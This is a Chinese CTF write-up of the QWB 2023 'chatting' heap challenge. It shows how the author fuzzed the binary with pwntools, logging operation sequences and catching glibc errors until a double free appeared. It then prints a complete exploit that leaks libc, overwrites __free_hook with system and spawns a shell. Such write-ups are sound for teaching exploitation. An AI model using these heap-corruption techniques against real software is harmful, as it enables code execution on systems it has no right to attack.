azraelxuemo's Studio.

从fuzz视角看CTF堆题--qwb2023_chatting

2023/12/24

前言

这个题目是一个c++的堆题,而我自己对于c++的一些内存分配不太了解,同时也不太会c++的逆向,硬看是没有办法了,所以就想能不能通过fuzz的角度去进行利用

fuzz

大概思路

函数选择

可以看到有add delete switch read listuser message6个操作,而凭感觉来说,listuser一般没什么效果,所以我这里主要fuzz其他五个函数
截屏2023-12-24 11.35.22.png

交互

简单写一下交互

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def add(name):
sla(b"listuser, exit): ",b"add")
sla(b"new username: ",name)

def free(name):
sla(b"listuser, exit): ",b"delete")
sla(b"to delete: ",name)


def message(username,size,data):
sla(b"listuser, exit): ",b"message")
sla(b"To: ",username)
sla(b"Message size: ",str(size))
sla(b"Content: ",data)
def show():
sla(b"listuser, exit): ",b"read")

def switch(user):
sla(b"listuser, exit): ",b"switch")
sla(b"o switch to: ",user)

参数

这里可以注意到,参数总共有3种,1 username,2 message的size,3 message的data
username这里我就简单一个random.choice(“abcdefgh”) 随机取值,大概范围就是8个值,样本范围不适合太大
size 这里我简单看了一下程序,里面有个分配0x60大小的堆,保存了用户的信息,然后我就想把message的size和这个用户的size构造一样,有可能会有uaf的问题
截屏2023-12-24 11.41.18.png
data 这里我就随便写了短的内容,最开始也没想过溢出,还是想fuzz double free这种问题

初步fuzz结构

下面是一个fuzz的例子,可以看到思路就很简单,随机执行操作,然后记录到log里面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def fuzz():
f=open('log.txt','w')
for i in range(0,0x1000):
if i % 10 == 0:
idx=randint(0,0x10)
add(0x20,idx)
f.write('add({},0x20)'.format(idx)+'\n')
elif i % 2 == 0 :
idx=randint(0,0x10)
free(idx)
f.write('delt({})'.format(idx)+'\n')
elif i % 3 == 0 :
idx=randint(0,0x10)
show(idx)
ru('>>: ')
check_char=r(1)
if check_char == '\x55' or check_char == '\x56':
f.write('show({})'.format(idx)+'\n')
break
f.close()

但是在做这个题目的时候遇到了其他的一些问题,不像之前fuzz其他题目一样,这个题目fuzz很容易报错,那么我们必须要进行一个异常的捕获

处理异常

处理异常这里坑还是比较多的,我就分别描述

无法获取程序异常返回结果

在交互里面,我们比较习惯写成sla,或者ru这种,他报错的时候不会返回给我们程序的报错内容,所以这里我通过阅读ru的实现,修改了一下代码,把程序的返回值放到Exception里面,然后我们就可以知道程序到底报了什么错,是double free呢,还是invalid pointer
截屏2023-12-21 19.56.40.png

log记录问题

log里面少记录

按照前面提到的fuzz结构,增加异常处理后类似于下面的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def fuzz():
f=open('log.txt','w')
try:
for i in range(0,0x1000):
if i % 10 == 0:
idx=randint(0,0x10)
add(0x20,idx)
f.write('add({},0x20)'.format(idx)+'\n')
elif i % 2 == 0 :
idx=randint(0,0x10)
free(idx)
f.write('delt({})'.format(idx)+'\n')

except:
pass
finally:
f.close()

这种写法,如果在执行流程里面比如说add里报了错,因为抛了异常导致这个操作会无法记录下来

log里面多记录

针对上面少记录的情况,可能我们会这样改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def fuzz():
f=open('log.txt','w')
try:
for i in range(0,0x1000):
if i % 10 == 0:
idx=randint(0,0x10)
tmp='add({},0x20)'.format(idx)+'\n'
add(0x20,idx)
f.write('add({},0x20)'.format(idx)+'\n')
elif i % 2 == 0 :
idx=randint(0,0x10)
tmp='delt({},0x20)'.format(idx)+'\n'
free(idx)
f.write('delt({})'.format(idx)+'\n')
except:
f.write(tmp)
finally:
f.close()

但是上面这种修改又会带来新的问题
我们add操作输入完username后程序抛了异常,但是这个时候不会在add这里结束,他还会执行到下一个流程,然后会在下一个流程的sla(b”listuser, exit”)这里抛异常,然后我们就会多记录一个操作

最终解决方法

在这里,我们需要定义一个流程完整的生命周期
交互开始,从收到):代表我们流程的开始
截屏2023-12-24 12.02.57.png
交互结束,收到Choose action为止
截屏2023-12-24 12.03.30.png
这样定义后我们可以保证下一个流程能够正常的开始,就不会出上面提到的多记录的问题了,也就能够保证,当前流程抛出的异常一定是当前流程里执行某些操作引起的,而不是上一个流程遗留的异常
总共就是下面三个情况

  • 如果add中间出错了,那么flag=0,我们会在excpet里面记录
  • 如果ru报错,那么证明add完之后出现了问题,flag=0,也会记上
  • 如果本次add操作没有触发任何异常,那么也会记录在log里,同时也能够成功执行到下一次的操作,
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    def fuzz():
    global io
    io = process("./chatting")
    f=open("log.txt","w")
    try:
    for i in range(0,0x1000):
    flag=0#防止在执行函数的时候报错
    tmp=""
    if i % 19 == 0:
    name=random.choice("abcdefgh")
    tmp=f'add("{name}")\n'
    add(name)
    ru('Choose action')
    flag=1
    f.write(tmp)
    elif i%4==0:
    name=random.choice("abcdefgh")
    tmp=f'free("{name}")\n'
    free(name)
    ru('Choose action')
    flag=1
    f.write(tmp)
    except Exception as e:
    if flag==0:
    f.write(tmp)
    if b"double free or corruption" not in e.args[0]:
    return 0
    else:
    print(e.args[0])
    return 1
    finally:
    f.close()
    io.close()

    按照上面的结构fuzz,一方面我们可以获取到程序的异常原因,另一个方面也可以不多不少的记录下来执行的操作

开始fuzz

保留所有结果的fuzz

这个fuzz里面保留了所有的结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
#!/usr/bin/python3
# -*- coding: utf-8 -*-
from pwn import *

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)





elf_path = "./chatting"
lib_path=""
parm=elf_path
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
if lib_path:
libc = ELF(f"{lib_path}/libc.so.6")
else:
libc=elf.libc





def add(name):
sla(b"listuser, exit): ",b"add")
sla(b"new username: ",name)

def free(name):
sla(b"listuser, exit): ",b"delete")
sla(b"to delete: ",name)


def message(username,size,data):
sla(b"listuser, exit): ",b"message")
sla(b"To: ",username)
sla(b"Message size: ",str(size))
sla(b"Content: ",data)


def show():
sla(b"listuser, exit): ",b"read")

def switch(user):
sla(b"listuser, exit): ",b"switch")
sla(b"o switch to: ",user)

def fuzz():
global io
io = process("./chatting")
sla(b"new username: ",b"a")
f=open("log.txt","w")
try:
for i in range(0,0x1000):
flag=0#防止在执行函数的时候报错
tmp=""
if i % 19 == 0:
name=random.choice("abcdefgh")
tmp=f'add("{name}")\n'
add(name)
ru('Choose action')
flag=1
f.write(tmp)
elif i%4==0:
name=random.choice("abcdefgh")
tmp=f'free("{name}")\n'
free(name)
info =ru('Choose action')
flag=1
f.write(tmp)
elif i %4==1:
name=random.choice("abcdefgh")
tmp=f'message("{name}",0x58,"aa")\n'
message(name,0x58,"aa")
info =ru('Choose action')
flag=1
f.write(tmp)
elif i %4==2:
name=random.choice("abcdefgh")
tmp=f'switch("{name}")\n'
switch(name)
info =ru('Choose action')
flag=1
f.write(tmp)
elif i%4==3:
tmp='show()\n'
show()
info=ru(b"Choose action")
flag=1
if b"\x55" in info or b"\x56" in info or b"\x7f" in info:
f.write(tmp)
f.write(f"#{info}\n")
except Exception as e:
if flag==0:
f.write(tmp)
if b"double free or corruption" not in e.args[0]:
return 0
else:
print(e.args[0])
return 1
finally:
f.close()
io.close()



while True:
if fuzz()==1:
print("sucess")
exit(0)


方便的验证脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#!/usr/bin/python3
# -*- coding: utf-8 -*-
from pwn import *

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)


elf_path = "./chatting"
lib_path=""
parm=elf_path
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
if lib_path:
libc = ELF(f"{lib_path}/libc.so.6")
else:
libc=elf.libc




def add(name):
sla(b"): ",b"add")
sla(b"new username: ",name)

def free(name):
sla(b"): ",b"delete")
sla(b"to delete: ",name)

def message(username,size,data):
sla(b"): ",b"message")
sla(b"To: ",username)
sla(b"Message size: ",str(size))
sla(b"Content: ",data)

def show():
sla(b"): ",b"read")

def switch(user):
sla(b"): ",b"switch")
sla(b"o switch to: ",user)

io = process(parm)
sla(b"new username: ",b"a")
with open("log.txt","r" ) as f:
for line in f.read().split("\n"):
if line=="" or line[0]=="#" :
pass
else:
eval(line)

it()

去掉一些无用操作的fuzz

fuzz里会有一些无用操作,比如说我们free一个不存在的index的结构体,那么他会提示not found,同时实际上他也没有影响堆布局等,这些可以忽略的
先调整一下delete

1
2
3
4
5
6
7
8
name=random.choice("abcdefgh")
tmp=f'free("{name}")\n'
free(name)
info =ru('Choose action')
flag=1
if b"not found!" in info:
continue
f.write(tmp)

调整一下switch

1
2
3
4
5
6
7
8
name=random.choice("abcdefgh")
tmp=f'switch("{name}")\n'
switch(name)
info =ru('Choose action')
flag=1
if b"not found!" in info:
continue
f.write(tmp)

经过测试发现,虽然message会报Recipient not found!的错误,但是我们不能把他过滤,实际上他还是做了对应的操作的,下面是代码部分
截屏2023-12-22 09.29.48.png
那从纯fuzz的角度来说呢,我们就是一个个试,看看哪些是可以忽略,哪些不能忽略
如果我们保存log的时候忽略了一些看起来没有效果的操作,但是实际上这些操作可能影响了堆布局,我们在复现log里面保存的payload的时候就会无法触发异常
所以本次经过测试,show delete switch操作可以忽略一些无效的操作,但是message不行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
#!/usr/bin/python3
# -*- coding: utf-8 -*-
from pwn import *

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)





elf_path = "./chatting"
lib_path=""
parm=elf_path
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
if lib_path:
libc = ELF(f"{lib_path}/libc.so.6")
else:
libc=elf.libc





def add(name):
sla(b"listuser, exit): ",b"add")
sla(b"new username: ",name)

def free(name):
sla(b"listuser, exit): ",b"delete")
sla(b"to delete: ",name)


def message(username,size,data):
sla(b"listuser, exit): ",b"message")
sla(b"To: ",username)
sla(b"Message size: ",str(size))
sla(b"Content: ",data)


def show():
sla(b"listuser, exit): ",b"read")

def switch(user):
sla(b"listuser, exit): ",b"switch")
sla(b"o switch to: ",user)

def fuzz():
global io
io = process("./chatting")
sla(b"new username: ",b"a")
f=open("log.txt","w")
try:
for i in range(0,0x1000):
flag=0#防止在执行函数的时候报错
tmp=""
if i % 19 == 0:
name=random.choice("abcdefgh")
tmp=f'add("{name}")\n'
add(name)
ru('Choose action')
flag=1
f.write(tmp)
elif i%4==0:
name=random.choice("abcdefgh")
tmp=f'free("{name}")\n'
free(name)
info =ru('Choose action')
flag=1
if b"not found!" in info:
continue
f.write(tmp)
elif i %4==1:
name=random.choice("abcdefgh")
tmp=f'message("{name}",0x58,"")\n'
message(name,0x58,"")
info =ru('Choose action')
flag=1
f.write(tmp)
elif i %4==2:
name=random.choice("abcdefgh")
tmp=f'switch("{name}")\n'
switch(name)
info =ru('Choose action')
flag=1
if b"not found!" in info:
continue
f.write(tmp)
elif i%4==3:
tmp='show()\n'
show()
info=ru(b"Choose action")
flag=1
if b"\x55" in info or b"\x56" in info or b"\x7f" in info :
f.write(tmp)
f.write(f"#{info}\n")

except Exception as e:
if flag==0:
f.write(tmp)
if b"double free or corruption" not in e.args[0]:
return 0
else:
print(e.args[0])
return 1
finally:
f.close()
io.close()



while True:
if fuzz()==1:
print("sucess")
exit(0)




结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
add("b")
message("g",0x58,"")
switch("b")
message("a",0x58,"")
switch("a")
message("c",0x58,"")
message("e",0x58,"")
switch("a")
message("b",0x58,"")
add("b")
message("d",0x58,"")
switch("b")
free("a")
message("c",0x58,"")
switch("b")
message("a",0x58,"")
free("b")
message("d",0x58,"")
message("e",0x58,"")
add("e")
message("h",0x58,"")
message("e",0x58,"")
switch("e")
message("g",0x58,"")
message("e",0x58,"")
switch("b")
add("g")
message("c",0x58,"")
switch("g")
free("b")
message("d",0x58,"")
switch("e")
show()
#b'e -> e: \n\xbc\xd1\xcb\xa8\x7f\nDone\nChoose action'
message("d",0x58,"")
show()
#b'e -> e: \n\xbc\xd1\xcb\xa8\x7f\nDone\nChoose action'
message("g",0x58,"")
show()
#b'e -> e: \n\xbc\xd1\xcb\xa8\x7f\nDone\nChoose action'
add("e")
message("h",0x58,"")
switch("g")
free("g")
message("b",0x58,"")
message("f",0x58,"")
message("h",0x58,"")
free("e")
message("e",0x58,"")
add("e")
message("e",0x58,"")
free("e")
message("a",0x58,"")
switch("e")
show()
#b'e -> e: \n\xd4p\xaf\x97U\nDone\nChoose action'
message("e",0x58,"")
show()
#b'e -> e: \n\xd4p\xaf\x97U\nDone\nChoose action'
message("f",0x58,"")
show()
#b'e -> e: \n\xd4p\xaf\x97U\nDone\nChoose action'
message("h",0x58,"")
add("d")
message("c",0x58,"")
message("b",0x58,"")
message("c",0x58,"")
message("c",0x58,"")
add("c")

修改payload

当我们去掉最后一个的时候可以发现这里已经double free了,那么我们只需要按照正常操作,去写free_hook即可
image.png

1
2
3
4
5
message("c",0x58,p64(libc_base+libc.sym["__free_hook"]))
message("c",0x58,"")
message("c",0x58,"a")
message("e",0x58,"/bin/sh\0")
message("f",0x58,p64(libc_base+libc.sym['system']))

最后发现add会free message,直接rce

all payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
#!/usr/bin/python3
# -*- coding: utf-8 -*-
from pwn import *

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)


elf_path = "./chatting"
lib_path=""
parm=elf_path
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
if lib_path:
libc = ELF(f"{lib_path}/libc.so.6")
else:
libc=elf.libc




def add(name):
sla(b"): ",b"add")
sla(b"new username: ",name)

def free(name):
sla(b"): ",b"delete")
sla(b"to delete: ",name)

def message(username,size,data):
sla(b"): ",b"message")
sla(b"To: ",username)
sla(b"Message size: ",str(size))
sla(b"Content: ",data)

def show():
sla(b"): ",b"read")

def switch(user):
sla(b"): ",b"switch")
sla(b"o switch to: ",user)

io = process("./chatting")
sla(b"new username: ",b"a")


add("b")
message("g",0x58,"")
switch("b")
message("a",0x58,"")
switch("a")
message("c",0x58,"")
message("e",0x58,"")
switch("a")
message("b",0x58,"")
add("b")
message("d",0x58,"")
switch("b")
free("a")
message("c",0x58,"")
switch("b")
message("a",0x58,"")
free("b")
message("d",0x58,"")
message("e",0x58,"")
add("e")
message("h",0x58,"")
message("e",0x58,"")
switch("e")
message("g",0x58,"")
message("e",0x58,"")
switch("b")
add("g")
message("c",0x58,"")
switch("g")
free("b")
message("d",0x58,"")
switch("e")
message("d",0x58,"")
message("g",0x58,"")
show()
libc_base=u64(ru(b"\x7f")[-6:].ljust(8,b"\0"))-0x3ebc0a
add("e")
message("h",0x58,"")
switch("g")
free("g")
message("b",0x58,"")
message("f",0x58,"")
message("h",0x58,"")
free("e")
message("e",0x58,"")
add("e")
message("e",0x58,"")
free("e")
message("a",0x58,"")
switch("e")
message("e",0x58,"")
message("f",0x58,"")
message("h",0x58,"")
add("e")
message("c",0x58,"")
message("b",0x58,"")
message("c",0x58,"")
message("c",0x58,"")
message("c",0x58,p64(libc_base+libc.sym["__free_hook"]))
message("c",0x58,"")
message("c",0x58,"a")
message("e",0x58,"/bin/sh\0")
message("f",0x58,p64(libc_base+libc.sym['system']))
add("c")
it()

总结

  • 注意异常处理部分
  • 注意每一个流程完整的生命周期,防止当前流程触发的异常实际是上一个操作的
  • 不要随意忽视看起来没有效果的操作,除非能保证去除那些操作之后不影响fuzz的结果,或者说除非我们从代码层面能够保证实际是没有效果的
CATALOG
  1. 1. 前言
  2. 2. fuzz
    1. 2.1. 大概思路
      1. 2.1.1. 函数选择
      2. 2.1.2. 交互
      3. 2.1.3. 参数
      4. 2.1.4. 初步fuzz结构
    2. 2.2. 处理异常
      1. 2.2.1. 无法获取程序异常返回结果
      2. 2.2.2. log记录问题
        1. 2.2.2.1. log里面少记录
        2. 2.2.2.2. log里面多记录
      3. 2.2.3. 最终解决方法
    3. 2.3. 开始fuzz
      1. 2.3.1. 保留所有结果的fuzz
      2. 2.3.2. 方便的验证脚本
      3. 2.3.3. 去掉一些无用操作的fuzz
      4. 2.3.4. 结果
    4. 2.4. 修改payload
    5. 2.5. all payload
  3. 3. 总结